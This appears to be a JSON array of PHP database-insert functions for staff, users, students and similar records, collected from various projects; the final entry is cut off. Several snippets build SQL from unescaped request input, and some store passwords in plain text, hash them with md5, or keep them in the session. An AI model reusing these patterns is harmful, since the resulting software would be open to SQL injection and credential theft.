[ "public function addStaff($name, $cellphone, $store_id, $wechat_id)\n {\n $name = strip_tags($name);\n $cellphone = strip_tags($cellphone);\n $store_id = strip_tags($store_id);\n $wechat_id = strip_tags($wechat_id);\n $status = 'N';\n $description = 'wechat created staff';\n $now = time();\n $created_time = date(\"Y-m-d H:i:s\" ,$now);\n $updated_time = date(\"Y-m-d H:i:s\" ,$now);\n \n\n $sql = \"INSERT INTO staff (wechat_id, name, cellphone, store_id, description, status, created_time, updated_time) VALUES (:wechat_id, :name, :cellphone,:store_id, :description, :status,:created_time, :updated_time)\";\n\n $query = $this->db->prepare($sql);\n $query->execute(array(':wechat_id' => $wechat_id, ':name' => $name, ':cellphone' => $cellphone, ':store_id' => $store_id, ':description' => $description,':status' => $status,':created_time' => $created_time,':updated_time' => $updated_time));\n \n \n \t$insertedId = $this->db->lastInsertId();\n \n return $insertedId;\n }", "function add_staff($staff_info){\n \t\tif($this->db->insert('staff', $staff_info)){\n \t\t\treturn true;\n \t\t}\n \t\telse{\n \t\t\treturn false;\n \t\t}\n \t}", "public function insertIntoStaff($aName, $aPassword)\r\n {\r\n // no ID since that is AUTO-INCREMENTED by DB\r\n $sql = 'INSERT INTO Staff (aName, aPassword) VALUES (:aName, :aPassword)';\r\n $stmt = $this->connection->prepare($sql);\r\n\r\n // Bind parameters to statement variables\r\n $stmt->bindParam(':aName', $aName);\r\n $stmt->bindParam(':aPassword', $aPassword);\r\n\r\n // Execute statement\r\n $noError = $stmt->execute();\r\n\r\n if($noError)\r\n {\r\n $_SESSION['staffName'] = $aName;\r\n $_SESSION['staffPassword'] = $aPassword;\r\n\r\n return $this->connection->lastInsertId();\r\n }\r\n\r\n else\r\n {\r\n return false;\r\n }\r\n }", "public function insertinto($con, $name, $sname, $surname, $email, $title, $visible, $nid, $nid1, $sid){\n $msg=\"INSERT INTO _staff_ (_name_id_, _surname_, _email_, _title_id_, _visible_) VALUES (?, ?, ?, ?, ?)\";\n $stmnt = $con->prepare($msg);\n $stmnt -> bind_param(\"issii\", $nid, $surname, $email, $sid, $visible);\n if($stmnt->execute()){\n echo \"<script>alert('Staff has been added');</script>\";\n $stmnt -> close();\n }else{\n echo \"<script>alert('Something went wrong');</script>\";\n $stmnt -> close();\n }\n }", "public function insertinto($con, $name, $sname, $surname, $email, $title, $visible, $nid, $nid1, $sid, $userid){\n $msg=\"UPDATE _staff_ SET _name_id_ = ?, _surname_ = ?, _email_ = ?, _title_id_ = ? WHERE _sID_ = ?\"; # update staff member informations\n $stmnt = $con->prepare($msg);\n $stmnt -> bind_param(\"issii\", $nid, $surname, $email, $sid, $userid);\n if($stmnt->execute()){\n echo \"<script>alert('Staff has been updated');</script>\";\n $stmnt -> close();\n }else{\n echo \"<script>alert('Something went wrong');</script>\";\n $stmnt -> close();\n }\n }", "public function additionStaff()\n {\n global $dbh;\n $sql = $dbh->prepare(\"INSERT INTO `staff`(`tech`, `asist`, `driver`, `staffdate`, `defults`, `delets`)\n VALUES ('$this->tech' ,'$this->asist' ,'$this->driver' ,'$this->staffdate' ,'$this->defults' ,'$this->delets')\");\n $result = $sql->execute();\n $idair = $dbh->lastInsertId();\n return array ($result,$idair);\n }", "function addStudent($name, $institution, $major, $minor, $identification, $passkey, $google, $yahoo, $live, $facebook, $linkedin, $twitter){\n\n\t\t$this->connection->query(\"INSERT INTO students (stud_name, stud_inst, stud_major, stud_minor, stud_identification, stud_passkey, stud_google, stud_yahoo, stud_live, stud_facebook, stud_linkedin, stud_twitter) VALUES ('$name', '$institution', '$major', '$minor', '$identification', '$passkey', '$google', '$yahoo', '$live', '$facebook', '$linkedin', '$twitter' )\",true);\n\t\tif($_SESSION['query']){\n\t\t\treturn \"Student Successfully Added\";\n\t\t}else{\n\t\t\treturn \"Failed to add Student!\";\t\t\n\t\t}\t\n\n\t}", "abstract public function insertID();", "function db_addAuthEntry($auth_id, $userid)\n{\n $auth_id = db_esc($auth_id);\n $userid = db_esc($userid);\n\n db_run(\"INSERT INTO \".TBL_AUTH.\n \"(auth_id,userid) VALUES('$auth_id', '$userid')\");\n}", "function create_staff($role){\n global $con;\n $name= mysqli_real_escape_string($con, $_POST['name']);\n $password = mysqli_real_escape_string($con, $_POST['password']);\n $password = md5($password);\n $department= mysqli_real_escape_string($con, $_POST['department']);\n $sql = mysqli_query($con, \"INSERT INTO `ict staff` (Name, Password,Department,Role) VALUES('$name', '$password','$department','$role')\");\n if($sql){\n if($role == 'Director'){\n $_SESSION['name'] = $name; \n }\n echo \"success\";\n }else{\n echo \"error\";\n }\n}", "public function InsertFaculty($data1) {\n $this->db->insert('faculty_mst', $data1);\n $insert_id = $this->db->insert_id();\n return $insert_id;\n }", "function add_faculty_admin($params)\n {\n $this->db->insert('faculty_admins',$params);\n return $this->db->insert_id();\n }", "function add_authuser($nombre,$apellido,$login,$pass,$tipo,$status,$email)\n\t{\n\t\t$query = \"INSERT INTO authuser (nombre,apellido,login,pass,email,tipo,status) \n\t\t\t\t VALUES ('$nombre','$apellido','$login','$pass','$email','$tipo','$status')\";\n\t\t$result=mysql_query($query);\n\t\t$new_pet_id = mysql_insert_id();\n\t\treturn $new_pet_id;\n\t}", "function insertArtist($conn, $name, $isband, $addUserID) {\n $query = \"INSERT INTO artist (artist_name, artist_is_band, artist_update_user) VALUES ('${name}', ${isband}, ${addUserID})\";\n mysqli_query($conn, $query);\n return mysqli_insert_id($conn);\n }", "public function addStaff($data) {\n $instered = $this->insert($data);\n $lastInsertId = $this->getAdapter()->lastInsertId();\n return $lastInsertId;\n }", "function addNewUser($SHSCID,$FirstName,$LastName,$Email){\n global $mysqli;\n $result = true;\n $q = \"INSERT INTO Clinician VALUES ('$SHSCID','$FirstName','$LastName','$Email', 0)\";\n $result = $mysqli->query($q);\n \n if ($result) \n\treturn \"success\";\n\telse\n\treturn $mysqli->error;\n}", "function insert() {\n if (!\\MongoId::isValid($this->getProvider()->getId())) {\n if ($this->getContext()->getUser()->isAuthenticated()) {\n $provider = $this->getContext()->getUser()->getUserDetails()->getProvider()->getId();\n if (\\MongoId::isValid($provider->getId())) {\n $this->setProvider($provider);\n } else {\n throw new \\Exception(\"Cannot assign staff member to the current provider. Please log out and try again.\");\n }\n }\n }\n if (trim($this->getUsername()) == '') {\n $this->setUsername(\\Ficus\\Counter::getNextCounter('STAFF'));\n }\n return parent::insert();\n }", "function insert($accid, $pwd, $value_contenter){\n $accid = $this->check_accid_value($accid);\n $pwd = $this->check_pwd_value($pwd);\n // check if accid is exist\n if( $this->selectbyaccid($accid) === FALSE){\n //the accid is not exist yet\n }\n else{\n die(json_encode(array('STATE' => false, 'ERROR'=>'accid_is_exist')));\n }\n // insert userinfo\n $userinfoid = $this->userinfomodel->insert($value_contenter);\n if( $userinfoid === FALSE){\n die(json_encode(array('STATE' => false, 'ERROR'=>'insert_userinfo_fail_is')));\n }\n //insert\n $insert_sql = \"INSERT INTO $this->db_name(ACCID,PWD,USERINFOID) VALUES ('$accid', '$pwd', $userinfoid)\";\n if( $this->db->query( $insert_sql ) === TRUE){\n return $this->db->insert_id;\n }else{\n // if create account fail then delete userinfo\n $userinfomodel->delete($userinfoid);\n return FALSE;\n }\n }", "function add_student(){\n\t\t\t\n\t\t\t$st_id = self::$db->quote($_POST['id']);\n\t\t\t$fname = self::$db->quote($_POST['firstname']);\n\t\t\t$lname = self::$db->quote($_POST['lastname']);\n\t\t\t$area = self::$db->quote($_POST['area']);\n\t\t\t$result = self::$admin->addStudent($st_id,$fname,$lname,$area);\n\n\t\t\tif($result == 1){\n\t\t\t\techo \"User Added Successfully....\";\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\techo \"something wrong\";\n\t\t\t}\n\t\t}", "function insert() {\n\t \t \n\t \t$sql = \"INSERT INTO evs_database.evs_identification (idf_identification_detail_en, idf_identification_detail_th, idf_pos_id, idf_ctg_id)\n\t \t\t\tVALUES(?, ?, ?, ?)\";\n\t\t \n\t \t$this->db->query($sql, array($this->idf_identification_detail_en, $this->idf_identification_detail_th, $this->idf_pos_id, $this->idf_ctg_id));\n\t\n\t }", "function addSponsor($fname, $lname, $email,$hashed_pass, int $company_id, $mysqli){\n\t$date = date(\"Y-m-d\");\n\t$sql = \"Insert Into sponsor_users (first_name_of_user, last_name_of_user, email_address, password, company_id, isSuperAdmin, manageBursaries, manageApplications, inactive, isVerified, regisered_date) values ('$fname', '$lname', '$email', '$hashed_pass',$company_id, TRUE, TRUE, TRUE, FALSE, FALSE,'$date')\";\n\n\tif($mysqli->query($sql)=== TRUE){\n\t\treturn $mysqli->insert_id;\n\t}\n\telse{\n\t\techo $mysqli->error;\n\t\treturn 0;\n\t}\n\n}", "public function insert()\n\t{\n\t\t$crud = $this->crud->data([\n\t\t\t'first_name' => $_POST['first_name'],\n\t\t\t'last_name' => $_POST['last_name'],\n\t\t]);\n\t\t$crud->insert();\n\t\t$this->redirect('crud');\n\t}", "public function m_insert_supervisor_user(){\n $this->FirstName = $_POST['FirstName'];\n $this->LastName = $_POST['LastName'];\n $this->EmailPN = $_POST['EmailPN'];\n $this->Password = password_hash($_POST['Password'], PASSWORD_DEFAULT);\n //insert value to users table\n $this->db->insert('users', $this);\n }", "public function User_Insert($fname,$lname,$uname,$email,$pswd)\n\t\t{\n\t\t\tglobal $connection,$user_id, $secrect_question, $secrect_answer;\n\t\t\t$sql = \"call users_insert('$fname','$lname','$uname','$email','$pswd')\";\n\t\t\t$connection->next_result();\n\t\t\tif($retrieved = $connection->query($sql))\n\t\t\t{\n\t\t\t\t$sql = \" call get_user_inserted_id( '$fname','$lname','$uname' )\";\n\t\t\t\t$connection->next_result();\n\t\t\t\t$retrieved = $connection->query($sql);\n\t\t\t\t$user_id = $retrieved ->fetch_row();\n\t\t\t\t$user_id = $user_id[0];\n\t\t\t\t$user_id;\n\t\t\t\t$sql = \" call user_question_answer_insert( $user_id, '$secrect_question','$secrect_answer' ); \";\n\t\t\t\t$connection->next_result();\n\t\t\t\t$retrieved = $connection->query($sql);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}", "public function fnaddStaff($larrformData,$iduniversity,$staffcodetype) {\r\n\t\t$lobjDbAdpt = Zend_Db_Table::getDefaultAdapter();\r\n\t\t\r\n\t\t$larrformData['Phone'] = $larrformData['Phonecountrycode'].\"-\".$larrformData['Phonestatecode'].\"-\".$larrformData['Phone'];\r\n\t\tunset($larrformData['Phonecountrycode']);\r\n\t\tunset($larrformData['Phonestatecode']);\r\n\t\t\r\n\t\t$larrformData['Mobile'] = $larrformData['Mobilecountrycode'].\"-\".$larrformData['Mobile'];\r\n\t\tunset($larrformData['Mobilecountrycode']);\r\n\t\tunset($larrformData['IdSubjectnamegrid']);\r\n\t\t\r\n\t\tif($larrformData['StaffType'] == '0' || $larrformData['StaffType'] == '1') {\r\n\t\t\t$larrformData['IdCollege'] = $larrformData['IdCollege'];\r\n\t\t} \r\n\t\t\r\n\t\tif($larrformData['BankId']==\"\")$larrformData['BankId']=0;\r\n\t\tif($larrformData['BankAccountNo']==\"\")$larrformData['BankAccountNo']=0;\r\n\t\tif($larrformData['IdDepartment']==\"\")$larrformData['IdDepartment']=0;\r\n\t\t\r\n\t\t$this->insert($larrformData);\r\n\t\t$lastid = $lobjDbAdpt->lastInsertId(\"tbl_staffmaster\",\"IdStaff\");\r\n\t\t$collegecode=$this->fnGetCollegecode($larrformData['IdCollege']);\r\n\t\t\r\n\t\tif($staffcodetype == 1){\t\t\r\n $StaffCode = $this->fnGenerateCode($iduniversity,$collegecode,$larrformData['IdDepartment'],$lastid);\r\n\t\t\t$formData1['StaffId'] = $StaffCode;\r\n\t\t\t$this->fnupdateStaffmaster($formData1,$lastid);\t\r\n\t\t\t}\r\n\t\treturn $lastid;\r\n\t}", "public function insert($name, array $data = array());", "public function insert(personal $personal);", "public function addperson ($id, $name, $lastname){\n $query = \"INSERT INTO alumno VALUES (?,?,?);\";\n $new = $this->mysqli->prepare($query);\n $new->bind_param('iss', $id, $name, $lastname);\n $result = $new->execute();\n $new->close();\n return $result;\n }", "public function updateStaff($id, $aName, $aPassword)\r\n {\r\n // no ID since that is AUTO-INCREMENTED by DB\r\n $sql = \"UPDATE Staff SET aName = :aName, aPassword = :aPassword WHERE id=:id\";\r\n\r\n $stmt = $this->connection->prepare($sql);\r\n\r\n // Bind parameters to statement variables\r\n $stmt->bindParam(':id', $id);\r\n $stmt->bindParam(':aName', $aName);\r\n $stmt->bindParam(':aPassword', $aPassword);\r\n\r\n $_SESSION['staffName'][] = $aName;\r\n $_SESSION['staffPassword'][] = $aPassword;\r\n\r\n\r\n // Execute statement\r\n $noError = $stmt->execute();\r\n\r\n // does NOT imply any rows were inserted ...\r\n return $noError;\r\n }", "public static function insertManager($fname, $lname, $mail, $pNum, $uname, $pword, $admin)\n\t\t{\n\t\t\t$fname = addslashes($fname);\n\t\t\t$lname = addslashes($lname);\n\t\t\t$mail = addslashes($mail);\n\t\t\t$pNum = addslashes($pNum);\n\t\t\t$lname = addslashes($uname);\n\t\t\t$mail = addslashes($pword);\n\t\t\t$pNum = addslashes($admin);\n\t\t\t\n\t\t\tif(strlen($fname) <= 32 && strlen($lname) <=32 && strlen($mail) <= 120 && strlen($pNum) <= 10 && strlen($uname) <= 32 && strlen($pword) <= 32 && ($admin == true || $admin == false))\n\t\t\t{\n\t\t\t\t$qry = 'INSERT INTO manager (first_name, last_name, email, phone, username, password, is_admin) VALUES (\"' . $fname . '\", \"' . $lname . '\", \"' . $mail . '\", \"' . $pNum . '\", \"' . $uname . '\", \"' . $pword . '\", \"' . $admin . '\")';\n\t\t\t\t$result = mysql_query($qry, $GLOBALS['connection']);\n\t\t\t}\n\t\t}", "public function secondinsert($con, $name, $sname, $surname, $email, $title, $visible, $nid, $nid1, $sid, $userid){\n $msg = \"Select _nID_ FROM _name_ WHERE _name_ = ?\"; # check if name exists\n $stmnt1 = $con->prepare($msg);\n $stmnt1->bind_param(\"s\",$sname);\n $stmnt1->execute();\n $stmnt1->bind_result($nid1);\n if($stmnt1->fetch()){ # proceed if name exists\n $stmnt1->close();\n $msg = \"UPDATE _staff_ SET _s_name_id_ = ? WHERE _sID_ = ?\";\n $stmnt2 = $con->prepare($msg);\n $stmnt2 -> bind_param(\"is\", $nid1, $userid);\n $stmnt2 -> execute();\n $stmnt2->close();\n }else{ # insert new name\n $stmnt1->close();\n $this -> ifnotsecondname($con, $name, $sname, $surname, $email, $title, $visible, $nid, $nid1, $sid, $userid);\n }\n }", "function add_workman($params)\n {\n $this->db->insert('workman',$params);\n return $this->db->insert_id();\n }", "public function insert_people($id_reserve, $name, $lastname, $comment, $type){\n $query=\"INSERT INTO `\".DB_PREFIX.\"people` (`id`,\n\t\t\t\t\t\t\t\t\t\t\t\t`id_reserve` ,\n\t\t\t\t\t\t\t\t\t\t\t\t`name` ,\n\t\t\t\t\t\t\t\t\t\t\t\t`lastname` ,\n\t\t\t\t\t\t\t\t\t\t\t\t`passport` ,\n\t\t\t\t\t\t\t\t\t\t\t\t`type`)\n \t\t\t\t\tVALUES ( NULL ,'\".$this->link->myesc($id_reserve).\"','\".$this->link->myesc($name).\"','\".$this->link->myesc($lastname).\"','\".$this->link->myesc($comment).\"','\".$this->link->myesc($type).\"')\";\n $result = $this->link->execute($query);\n return $result;\n\t}", "function insert() {\n\t\t$sql = \"INSERT INTO \".$this->hr_db.\".hr_amphur (amph_name, amph_name_en, amph_pv_id, amph_active)\n\t\t\t\tVALUES(?, ?, ?, ?)\";\n\t\t$this->hr->query($sql, array( $this->amph_name, $this->amph_name_en, $this->amph_pv_id, $this->amph_active));\n\t\t$this->last_insert_id = $this->hr->insert_id();\n\t}", "public static function insert()\n {\n if (isset($_POST['name'], \n $_POST['telephone'],\n $_POST['mobile'],\n $_POST['email'],\n $_POST['clientid'])) {\n ContactDAO::create($_POST['name'], \n $_POST['telephone'],\n $_POST['mobile'],\n $_POST['email'],\n $_POST['clientid']);\n }\n }", "public function insertUser($fname, $lname = null, $role_id = null, $phone = null, $email=null, $pwd=null, $salt=null, $status=null){\n try{\n $query = \"INSERT INTO users (fname, lname, phone, role_id, email, password, salt, created_at, status)\n VALUES(?,?,?,?,?,?,?, now(), ?)\";\n $stmt = $this -> getConnection($query);\n if($stmt){\n $stmt -> bind_param('ssssssss', $fname, $lname, $phone, $role_id, $email, $pwd, $salt, $status);\n $stmt -> execute();\n $stmt -> close();\n }else{\n echo 'Statement not prepared.';\n }\n\n if(true){\n echo 'New record created successfully.';\n }\n }catch(Exception $e){\n die('User insertion error: ' . $e -> getMessage());\n }\n }", "public function register($fname,$lname,$username,$password){\n // $result = $this->conn->query($sql);\n\n if($this->conn->query(\"INSERT INTO users(f_name,l_name,username,password) VALUES('$fname','$lname','$username','$password')\") == TRUE){\n header('location:login.php');\n\n }else{\n die('error'.$this->conn->error);\n }\n\n\n }", "public function staffRegistration($name, $email, $cell)\n\t\t{\n\t\t\t$sql = \"INSERT INTO staffs(name, email, cell) VALUES('$name','$email','$cell')\";\n\t\t\t$data = parent::dbConnection() -> query($sql);\n\n\t\t\tif ( $data ) {\n\t\t\t\treturn \"<p class=\\\"alert alert-success\\\">Staff added successfull !<button class=\\\"close\\\" data-dismiss=\\\"alert\\\">&times;</button></p>\";\n\t\t\t}\n\t\t}", "public function registerDoctor($name, $lastname, $username, $idDoctor, $password, $email, $dui, $noJunta, $age){\n try{\n $query = \"INSERT INTO users VALUES('$name','$lastname', '$username', '$idDoctor', '$password', '$email', '$dui','$noJunta',null,$age, 2, 1)\";\n $connection = new Connection;\n $connection->conn();\n $connection->conn->exec($query);\n echo \"<script>alertify.success('Doctor añadido exitosamente!');</script>\";\n }catch(PDOException $e){\n echo $e;\n }\n }", "function add() {\r\n $sql = \"INSERT into student_researchers VALUES();\";\r\n global $db;\r\n if($db->Execute($sql) === false) {\r\n throw new Exception('SQL error. Unable to add a new researcher.');\r\n }\r\n $_REQUEST['id']=mysql_insert_id();\r\n\r\n edit();\r\n}", "abstract public function insert_id();", "public function insertTrainer(){\r\n\t\t\t$objDBConn = DBManager::getInstance();\r\n\t\t\tif($objDBConn->dbConnect()){\r\n\t\t\t\t$qry = \"INSERT INTO trainer (firstname, lastname, username, password) values ('\".$_REQUEST[\"firstname\"]. \"', '\".\r\n\t\t\t\t\t\t$_REQUEST[\"lastname\"]. \"', '\". $_REQUEST[\"username\"]. \"', '\" .$_REQUEST[\"pass\"]. \"');\";\r\n\t\t\t\t$result = mysql_query($qry);\r\n\t\t\t\tif(!$result){\r\n\t\t\t\t\t//echo \" Sorry ! Some fields caused problems\";\r\n\t\t\t\t\t$objDBConn->dbClose();\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t//echo \"Values inserted !\";\r\n\t\t\t\t\t$objDBConn->dbClose();\r\n\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t//echo 'Something went wrong ! ';\r\n\t\t\t\t$objDBConn->dbClose();\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}", "function mknewPerson($id) {\n $newID=uniqid (rand());\n //Wird zur Zeit nicht verwendet\n //if (!$id) {$uid='null';} else {$uid=$id;};\n $sql=\"insert into contacts (cp_name,cp_employee) values ('$newID',$id)\";\n $rc=$GLOBALS['dbh']->query($sql);\n if ($rc) {\n $sql=\"select cp_id from contacts where cp_name = '$newID'\";\n $rs=$GLOBALS['dbh']->getAll($sql);\n if ($rs) {\n $id=$rs[0][\"cp_id\"];\n } else {\n $id=false;\n }\n } else {\n $id=false;\n }\n return $id;\n}", "public function createStaff($role, $email, $fullname, $personalID) {\n require_once 'PassHash.php';\n\n // First check if user already existed in db\n if (!$this->isStaffExists($email)) {\n // Generating password hash\n $password_hash = PassHash::hash($email);\n\n // Generating API key\n $api_key = $this->generateApiKey();\n\n $sql_query = \"INSERT INTO staff(email, password, api_key, role, fullname, personalID) \n values(?, ?, ?, ?, ?, ?)\";\n\n // insert query\n if ($stmt = $this->conn->prepare($sql_query)) {\n $stmt->bind_param(\"sssiss\", $email, $password_hash, $api_key, $role==NULL?ROLE_STAFF:$role,\n $fullname==NULL?' ':$fullname, $personalID==NULL?' ':$personalID);\n $result = $stmt->execute();\n } else {\n var_dump($this->conn->error);\n }\n\n $stmt->close();\n\n // Check for successful insertion\n if ($result) {\n // User successfully inserted\n return STAFF_CREATED_SUCCESSFULLY;\n } else {\n // Failed to create user\n return STAFF_CREATE_FAILED;\n }\n } else {\n // User with same email already existed in the db\n return STAFF_ALREADY_EXISTED;\n }\n }", "function insertId();", "function addUser($name,$pw){\n\t if(($name != NULL) && ($pw != NULL)){\n $count = @mysql_query(\"SELECT COUNT(*) as count FROM UserUNandID WHERE ('$name' = UserName)\");\n\t\t $countdata = mysql_fetch_assoc($count);\n\t\t if($countdata['count'] >= 1){\n\t\t print \"User already exists!\";\n exit(1);\n\t\t }\n else\n\t\t { \n @mysql_query(\"INSERT INTO UserUNandID VALUES (0,'$name','$pw')\");\n }\t\t\t \n\t\t}\t\t\n\t}", "function add_actor($info){\n\t$db= $GLOBALS['db']; \n\textract($info);\n\t$submitted= $db->query(\"INSERT INTO actors VALUES('', '$first_name', '$last_name', '$bio', '$dob', '$won_oscar', '$timestamp')\");\n\techo \"<h3>$first_name $last_name has been submitted!</h3>\"; \n}", "public function __construct($id, $fname, $lname){\r\n\t\t$this->uid = id;\r\n\t\t$this->first_name = $fname;\r\n\t\t$this->last_name = $lname;\r\n\t}", "public function Do_insert_Example1(){\n\n\t}", "abstract public function InsertId();", "public function insert() {\n\t\t$this->insert_user();\n\t}", "abstract public function insertId();", "abstract public function insertId();", "abstract public function insertId();", "function insertLevelOne($conn, $lvlOne){\n\t$sql = \"INSERT INTO levelone (Name) VALUES (:lvlOne)\";\t\n\t$sth = $conn->prepare($sql);\n\n\t\n\t$sth->bindParam(':lvlOne', $lvlOne, PDO::PARAM_STR, 45);\n\t\n\t$sth->execute();\n\t$return = $conn->lastInsertID();\n\t$sth->closeCursor();\n\t\n\treturn $return;\n}", "public function insert($beginDate, $level, $staffId, $staffAddId, $companyId)\n {\n $hFunction = new \\Hfunction();\n $modelCompanyStaffWork = new QcCompanyStaffWork();\n $modelCompanyStaffWork->beginDate = $beginDate;\n $modelCompanyStaffWork->level = $level;\n $modelCompanyStaffWork->staff_id = $staffId;\n $modelCompanyStaffWork->staffAdd_id = $staffAddId;\n $modelCompanyStaffWork->company_id = $companyId;\n $modelCompanyStaffWork->action = $this->getDefaultHasAction();\n $modelCompanyStaffWork->created_at = $hFunction->createdAt();\n if ($modelCompanyStaffWork->save()) {\n $this->lastId = $modelCompanyStaffWork->work_id;\n return true;\n } else {\n return false;\n }\n }", "function insert($name, $surn, $email, $pass1, $un, $id, $conn){\n //insert query\n if($id == \"teachers\"){\n $sqlq = \"INSERT INTO `teachers_verify` (`name`, `surname`, `email`, `password`, `username`, `time`) VALUES (?, ?, ?, ?, ?, ?);\";\n }else if($id == \"students\"){\n $sqlq = \"INSERT INTO `students_verify` (`name`, `surname`, `email`, `password`, `username`, `time`) VALUES (?, ?, ?, ?, ?, ?);\";\n }\n $pswhash = passWord_hash($pass1, PASSWORD_DEFAULT);\n $stmt = mysqli_stmt_init($conn);\n if(!mysqli_stmt_prepare($stmt, $sqlq)){\n echo 'SQL ERROR';\n }else{\n $reg_time = date(\"Y/m/d\") . ' ' . date(\"h:i:sa\");\n mysqli_stmt_bind_param($stmt, \"ssssss\", $name, $surn, $email, $pswhash, $un, $reg_time);\n mysqli_stmt_execute($stmt);\n #VERIFICATION NOTICE\n header(\"Location: ../../main.php?signup=Please_wait_for_system_verification\");\n exit();\n }\n }", "public function insert($techHit);", "public function name_id(){\n $name = htmlspecialchars($_POST['name']);\n if($sql= $this->con->prepare('INSERT INTO name_category(name) VALUES(?)')){\n $sql->bind_param(\"s\",$name);\n\t$sql-> execute();\n }\n\telse{\n echo \"The issue is:\".$this->con->Error;\n\t} \n}", "public function add() {\n\n $sql = \"INSERT INTO persona(id,nombre,apellido_paterno,apellido_materno,estado_salud,telefono,ubicacion)\n VALUES(null,'{$this->nombre}','{$this->apellido_paterno}','{$this->apellido_materno}',\n '{$this->estado_salud}','{$this->telefono}','{$this->ubicacion}')\";\n $this->con->consultaSimple($sql);\n }", "function createstaff()\n\t{\n\t\t$data = array();\n\t\tif($this->input->post('createstaffbtn'))\n\t\t{\n\t\t\t$this->form_validation->set_rules('staff_name', 'name', 'trim|required|xss_clean');\n\t\t\t$this->form_validation->set_rules('staff_telephone', 'telephone', 'trim|xss_clean');\n\t\t\t$this->form_validation->set_error_delimiters('<p class=\"has-error\"><label class=\"control-label\">', '</label></p>');\n\t\t\tif($this->form_validation->run())\n\t\t\t{\n\t\t\t\t$staff_details = array('staff_name'\t\t=> $this->input->post('staff_name'),\n\t\t\t\t\t\t\t\t\t 'staff_phone'\t\t=> $this->input->post('staff_telephone'),\n\t\t\t\t\t\t\t\t\t 'staff_date_created'\t=> date('Y-m-d', time()),\n\t\t\t\t\t\t\t\t\t );\n\t\t\t\t$this->common_model->dbinsert('ci_staffs', $staff_details);\n\t\t\t\t$this->session->set_flashdata('success', 'Staff has been added successfully !!');\n\t\t\t\tredirect('staffs/createstaff');\n\t\t\t}\n\t\t}\n\t\t$data['title'] \t\t\t= $this->title;\n\t\t$data['activemenu'] \t= $this->activemenu;\n\t\t$data['pagecontent'] \t= 'staffs/newstaff';\n\t\t$this->load->view('common/holder', $data);\n\t}", "function insertTalent($talent,$userName) {\n\t\t$mysqli = $this->getConnection();\n\t\t$talent = $mysqli->real_escape_string ( $talent );\n\t\t$query = \"insert into talent(talenttekst,account,status) values('$talent', (select accountid from account where gebruikersnaam = '$userName'),1) \";\n\t\treturn $mysqli->query ( $query );\n\t}", "function createDoctorMINI($vardas, $pavarde){\n $manoSQL = \"INSERT INTO doctors (name, lname) VALUES ('$vardas', '$pavarde');\";\n\n mysqli_query(getPrisijungimas(), $manoSQL);\n}", "function addCuisine($name)\n {\n // 1. Connect to the database.\n $link = connect();\n\n // 2. Generate a query and prepare it for data insertion\n // using the mysqli library; this takes care of any\n // potential hacking (SQL Injection).\n $stmt = mysqli_prepare($link, \"\n INSERT INTO cuisine\n (name)\n VALUES\n (?)\n \");\n\n // 3. Bind the parameters to ensure that strings and numbers\n // will be escaped to avoid errors in PHP code.\n mysqli_stmt_bind_param($stmt, 's',\n $name # string\n );\n\n // 4. Execute the statement.\n mysqli_stmt_execute($stmt);\n\n // 5. Disconnect from the database.\n disconnect($link);\n\n // 6. If the query worked, we should have a new primary key ID.\n return mysqli_stmt_insert_id($stmt);\n }", "public function m_insert_supervisor(){\n $sup->Companyname = $_POST['Companyname'];\n $sup->Position = $_POST['Position'];\n $sup->Departmentname = $_POST['Departmentname'];\n $sup->Emailpersonal = $_POST['Emailpersonal'];\n $sup->PhoneNumber = $_POST['PhoneNumber'];\n //insert value to supervisor table with last id of users table\n $supervisor_last_id = $this->db->insert_id();\n $sup->UsersId = $supervisor_last_id;\n //inserting\n $this->db->insert('supervisor', $sup); \n }", "public function createHospital($hname,$uname,$pword){\n\n\t\t$sqlObj = new SQLConnection();\n\n\t\tif($sqlObj->createConnection()){\n\n\t\t\tif($sqlObj->conn != null){\n\n\n\t\t\t\t$conn = $sqlObj->conn;\n\t\t\t\t\n\t\t\t\t$pword = sha1($pword);\n\n\t\t\t\t$sql = \"INSERT into hospitals(hname,uname,pword) values('\".$hname.\"','\".$uname.\"','\".$pword.\"')\";\n\t\t\t\t//echo $sql;\n\t\t\t\t\n\t\t\t\tif($conn->query($sql) === true){\n\t\t\t\t\techo \"Hospital Successfully added\";\n\t\t\t\t\theader('Location: ../');\n\t\t\t\t\tdie();\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\techo $conn->error;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\telse{\n\n\t\t\techo \"cannot create connection\";\n\t\t}\n\t}", "function EmpresaInsert($Nombre) {\r\n\tglobal $Cfg;\r\n\r\n\t$sql = \"insert $Cfg[SqlPrefix]empresas set\r\n\t\tNombre = '$Nombre'\";\r\n\r\n\tDbExecuteUpdate($sql);\r\n\r\n\treturn DbLastId();\r\n}", "function add_person($params)\n {\n $this->db->insert('person',$params);\n $this->db->insert('company_person',array_slice($params, 13)); \n \n return $this->db->insert_id();\n //$this->db->query('select company_id, company_name from company');\n \n }", "function insertRecord($ID, $info)\n{\n\tglobal $sitePosition, $currTime;\n\tglobal $shopID, $adminID, $adminIP;\n\n\tquery('Insert into `' . $sitePosition . '.ShopRecord` values (NULL, ' . $ID . ', \"' . escapeStr($info) . '\", ' . $adminID . ', ' . $shopID . ', ' . $adminIP . ', ' . $currTime . ')', false);\n}", "function ZonaInsert($Nombre, $IdZonaPadre) {\r\n\tglobal $Cfg;\r\n\r\n\t$sql = \"insert $Cfg[SqlPrefix]zonas set\r\n\t\tNombre = '$Nombre',\r\n\t\tIdZonaPadre = $IdZonaPadre\";\r\n\r\n\tDbExecuteUpdate($sql);\r\n\r\n\treturn DbLastId();\r\n}", "public function run()\n {\n $param = [\n 'name' => '秋山 正敏',\n ];\n DB::table('staff')->insert($param);\n\n $param = [\n 'name' => '山岸 大樹',\n ];\n DB::table('staff')->insert($param);\n\n $param = [\n 'name' => '渡辺 昌寛',\n ];\n DB::table('staff')->insert($param);\n }", "function insertIntoMembers($nickname, $email, $pwd)\n{\n $db = dbConnect();\n $req = $db->prepare('INSERT INTO members(nickname, email, pwd) VALUES(?,?,?)');\n $req->execute(array($nickname, 